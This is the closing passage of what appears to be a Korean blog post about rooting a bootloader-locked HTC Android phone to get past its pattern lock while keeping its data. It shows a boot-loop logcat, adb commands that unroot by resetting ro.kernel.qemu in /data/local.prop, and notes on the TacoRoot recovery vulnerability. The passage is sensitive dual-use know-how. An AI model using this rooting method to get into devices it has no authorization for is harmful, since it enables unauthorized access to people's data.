E/ActivityManager( 2651): Caused by: java.io.IOException: No such file or directory 
E/ActivityManager( 2651): 	at java.lang.ProcessManager.exec(Native Method) 
E/ActivityManager( 2651): 	at java.lang.ProcessManager.exec(ProcessManager.java:222) 
E/ActivityManager( 2651): 	... 10 more 
E/installd( 1379): eof 
E/installd( 1379): failed to read size 
E/Zygote  ( 2754): setreuid() failed. errno: 17 
E/libEGL  ( 2786): eglSetSwapRectangleANDROID:1995 error 3008 (EGL_BAD_DISPLAY) 
E/Sensors ( 2786): Sensors sensors_poll_context_t++ 
E/Sensors ( 2786): could not open the accel irq device node 
E/MPL-mlsl( 2786): Cannot open file "/data/misc/mpumfg.bin" for read 
E/MPL-storeload( 2786): MLLoadCalibration_HTC_MFG, Overwrite preCalData.. 
E/MPL-mlsl( 2786): Cannot open file "/data/misc/mpuuser.bin" for read 
E/MPL-storeload( 2786): MLLoadCalibration, Could not read the User calibration,file not exist 
E/Sensors ( 2786): could not open MPL calibration file 
E/SurfaceFlinger( 2786): eglSwapBuffers: EGL error 0x3008 (EGL_BAD_DISPLAY) 
E/HtcBootAnimation( 2804): Could not find width.  
E/HtcBootAnimation( 2804): Could not find height.  
E/HtcBootAnimation( 2804): Could not find framerate.  
E/HtcBootAnimation( 2804): Could not find part1.  
E/HtcBootAnimation( 2804): Could not find part2.  
E/HtcBootAnimation( 2804): Could not find part3.  
E/HtcBootAnimation( 2804): Could not find audio.  
E/lights  ( 2786): [LedErr] open_lights no mattched name bluetooth 
E/LightsService( 2786): [LedErr] get_device bluetooth is reutrn NULL 
E/lights  ( 2786): [LedErr] open_lights no mattched name wifi 
E/LightsService( 2786): [LedErr] get_device wifi is reutrn NULL 
E/System  ( 2786): Failure starting core service 
E/System  ( 2786): java.lang.SecurityException 
E/System  ( 2786): 	at android.os.BinderProxy.transact(Native Method) 
E/System  ( 2786): 	at android.os.ServiceManagerProxy.addService(ServiceManagerNative.java:146) 
E/System  ( 2786): 	at android.os.ServiceManager.addService(ServiceManager.java:72) 
E/System  ( 2786): 	at com.android.server.ServerThread.run(SystemServer.java:329) 
E/MobileDataStateTracker( 2786): Error mapping networkType 21 to apnType. 
E/ConnectivityService( 2786): Trying to create a DataStateTracker for an unsupported net type 6 
E/AndroidRuntime( 2786): *** FATAL EXCEPTION IN SYSTEM PROCESS: ConnectivityThread 
E/AndroidRuntime( 2786): java.lang.NullPointerException 
E/AndroidRuntime( 2786): 	at android.bluetooth.BluetoothA2dp.getConnectedSinks(BluetoothA2dp.java:202) 
E/AndroidRuntime( 2786): 	at android.net.wifi.WifiStateTracker.checkIsBluetoothPlaying(WifiStateTracker.java:1150) 
E/AndroidRuntime( 2786): 	at android.net.wifi.WifiStateTracker.handleMessage(WifiStateTracker.java:1393) 
E/AndroidRuntime( 2786): 	at android.os.Handler.dispatchMessage(Handler.java:99) 
E/AndroidRuntime( 2786): 	at android.os.Looper.loop(Looper.java:150) 
E/AndroidRuntime( 2786): 	at com.android.server.ConnectivityService$ConnectivityThread.run(ConnectivityService.java:440) 
E/ActivityManager( 2786): Error running process 
E/ActivityManager( 2786): java.io.IOException: Error running exec(). Command: [/system/xbin/procrank] Working Directory: null Environment: [ANDROID_SOCKET_zygote=10, ANDROID_BOOTLOGO=1, EXTERNAL_STORAGE=/mnt/sdcard, ANDROID_ASSETS=/system/app, PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin, ASEC_MOUNTPOINT=/mnt/asec, LOOP_MOUNTPOINT=/mnt/obb, BOOTCLASSPATH=/system/framework/core.jar:/system/framework/bouncycastle.jar:/system/framework/ext.jar:/system/framework/framework.jar:/system/framework/android.policy.jar:/system/framework/services.jar:/system/framework/core-junit.jar:/system/framework/HTCDev.jar:/system/framework/HTCExtension.jar:/system/framework/com.htc.framework.jar:/system/framework/com.scalado.util.ScaladoUtil.jar:/system/framework/com.orange.authentication.simcard.jar:/system/framework/android.supl.jar:/system/framework/com.ecrio.sip.jar:/system/framework/kafdex.jar, ANDROID_DATA=/data, LD_LIBRARY_PATH=/vendor/lib:/system/lib, ANDROID_ROOT=/system, ANDROID_PROPERTY_WORKSPACE=9,65536] 
E/ActivityManager( 2786): 	at java.lang.ProcessManager.exec(ProcessManager.java:224) 
E/ActivityManager( 2786): 	at java.lang.ProcessBuilder.start(ProcessBuilder.java:202) 
E/ActivityManager( 2786): 	at com.android.server.am.ActivityManagerService.logProcessResult(ActivityManagerService.java:7960) 
E/ActivityManager( 2786): 	at com.android.server.am.ActivityManagerService.access$1000(ActivityManagerService.java:217) 
E/ActivityManager( 2786): 	at com.android.server.am.ActivityManagerService$12.run(ActivityManagerService.java:8429) 
E/ActivityManager( 2786): 	at com.android.server.am.ActivityManagerService.addErrorToDropBoxForHTC(ActivityManagerService.java:8467) 
E/ActivityManager( 2786): 	at com.android.server.am.ActivityManagerService.addErrorToDropBox(ActivityManagerService.java:8137) 
E/ActivityManager( 2786): 	at com.android.server.am.ActivityManagerService.handleApplicationCrash(ActivityManagerService.java:7740) 
E/ActivityManager( 2786): 	at com.android.internal.os.RuntimeInit$UncaughtHandler.uncaughtException(RuntimeInit.java:97) 
E/ActivityManager( 2786): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:854) 
E/ActivityManager( 2786): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:851) 
E/ActivityManager( 2786): Caused by: java.io.IOException: No such file or directory 
E/ActivityManager( 2786): 	at java.lang.ProcessManager.exec(Native Method) 
E/ActivityManager( 2786): 	at java.lang.ProcessManager.exec(ProcessManager.java:222) 
E/ActivityManager( 2786): 	... 10 more 
E/installd( 1379): eof 
E/installd( 1379): failed to read size 
E/Zygote  ( 2899): setreuid() failed. errno: 17 
E/libEGL  ( 2943): eglSetSwapRectangleANDROID:1995 error 3008 (EGL_BAD_DISPLAY) 
E/Sensors ( 2943): Sensors sensors_poll_context_t++ 
E/Sensors ( 2943): could not open the accel irq device node 
E/MPL-mlsl( 2943): Cannot open file "/data/misc/mpumfg.bin" for read 
E/MPL-storeload( 2943): MLLoadCalibration_HTC_MFG, Overwrite preCalData.. 
E/MPL-mlsl( 2943): Cannot open file "/data/misc/mpuuser.bin" for read 
E/MPL-storeload( 2943): MLLoadCalibration, Could not read the User calibration,file not exist 
E/Sensors ( 2943): could not open MPL calibration file 
E/SurfaceFlinger( 2943): eglSwapBuffers: EGL error 0x3008 (EGL_BAD_DISPLAY) 
E/HtcBootAnimation( 2962): Could not find width.  
E/HtcBootAnimation( 2962): Could not find height.  
E/HtcBootAnimation( 2962): Could not find framerate.  
E/HtcBootAnimation( 2962): Could not find part1.  
E/HtcBootAnimation( 2962): Could not find part2.  
E/HtcBootAnimation( 2962): Could not find part3.  
E/HtcBootAnimation( 2962): Could not find audio.  
E/lights  ( 2943): [LedErr] open_lights no mattched name bluetooth 
E/LightsService( 2943): [LedErr] get_device bluetooth is reutrn NULL 
E/lights  ( 2943): [LedErr] open_lights no mattched name wifi 
E/LightsService( 2943): [LedErr] get_device wifi is reutrn NULL 
E/System  ( 2943): Failure starting core service 
E/System  ( 2943): java.lang.SecurityException 
E/System  ( 2943): 	at android.os.BinderProxy.transact(Native Method) 
E/System  ( 2943): 	at android.os.ServiceManagerProxy.addService(ServiceManagerNative.java:146) 
E/System  ( 2943): 	at android.os.ServiceManager.addService(ServiceManager.java:72) 
E/System  ( 2943): 	at com.android.server.ServerThread.run(SystemServer.java:329) 
E/MobileDataStateTracker( 2943): Error mapping networkType 21 to apnType. 
E/ConnectivityService( 2943): Trying to create a DataStateTracker for an unsupported net type 6 
E/AndroidRuntime( 2943): *** FATAL EXCEPTION IN SYSTEM PROCESS: ConnectivityThread 
E/AndroidRuntime( 2943): java.lang.NullPointerException 
E/AndroidRuntime( 2943): 	at android.bluetooth.BluetoothA2dp.getConnectedSinks(BluetoothA2dp.java:202) 
E/AndroidRuntime( 2943): 	at android.net.wifi.WifiStateTracker.checkIsBluetoothPlaying(WifiStateTracker.java:1150) 
E/AndroidRuntime( 2943): 	at android.net.wifi.WifiStateTracker.handleMessage(WifiStateTracker.java:1393) 
E/AndroidRuntime( 2943): 	at android.os.Handler.dispatchMessage(Handler.java:99) 
E/AndroidRuntime( 2943): 	at android.os.Looper.loop(Looper.java:150) 
E/AndroidRuntime( 2943): 	at com.android.server.ConnectivityService$ConnectivityThread.run(ConnectivityService.java:440) 
^C 
 ✘  ~  adb shell 
# echo "ro.kernel.qemu=0" > /data/local.prop 
# reboot 
 ~ 

다만 이것은 보안 에러로 인해 surfaceflinger가 지속적으로 재시작되고 있는 것일 뿐, 커널 크래쉬가 아니기 때문에 adb shell 연결을 계속해서 유지할 수 있습니다. 따라서 비행기 모드가 꺼져 있다고 하더라도, 무한부팅이 일어나는 휴대폰을 PC에 연결한 채로 같은 작업을 진행한 후 루팅을 해제해 주면 정상화됩니다.

언루팅 및 안정적인 루팅

위에서 확인한 것과 같이, ro.kernel.qemu 값을 1로 설정하는 루팅 방식은 시스템을 불안정하게 만들기에, 일시적으로 루트 권한을 얻고 싶은 상황 이상의 경우에는 적용하기 힘듭니다. 하지만 루트 권한과 adb remount가 가능한 만큼, su 및 busybox 바이너리를 직접 넣어주고 값을 해제해 주면 되므로, 안정적인 루팅으로 전환하는 것은 그리 어렵지 않습니다.

 

언루팅은 TacoRoot 스크립트에 포함된 것처럼 /data/local.prop과 /data/data/recovery/log파일을 삭제해도 되고, 단순히 값만 0으로 바꿔 주어도 됩니다.

 ~  adb shell 
# echo "ro.kernel.qemu=0" > /data/local.prop  
# reboot

마치며

사실 구형 안드로이드 기기의 패턴 잠금을 해제하는 것은 그리 어려운 일이 아니라고 생각했습니다. 하지만 처음으로 다뤄 보는 부트로더가 잠긴 HTC 기기, 데이터를 보존해야 한다는 제약사항과 목표를 설정하고 프로젝트를 진행하면서 안드로이드 플랫폼에 대한 경험을 쌓을 수 있었습니다. 시간이 된다면 이번 루팅에서 주요한 역할을 한 리커버리 취약점을 실제 리커버리 바이너리를 이용하여 더욱 심층적인 분석을 진행해 보고 싶습니다.

 

또한, 지금까지 혼자서 진행하고 정리해놓지 않거나 트위터에만 간단히 올렸던 프로젝트들을 이제부터 티스토리에 좀 더 자세히 정리해 보려 합니다. 우선 다음 포스트로는 삼성 아티브 시리즈9 노트북 키보드 교체기를 올려보려고 생각 중입니다.

+ Recent posts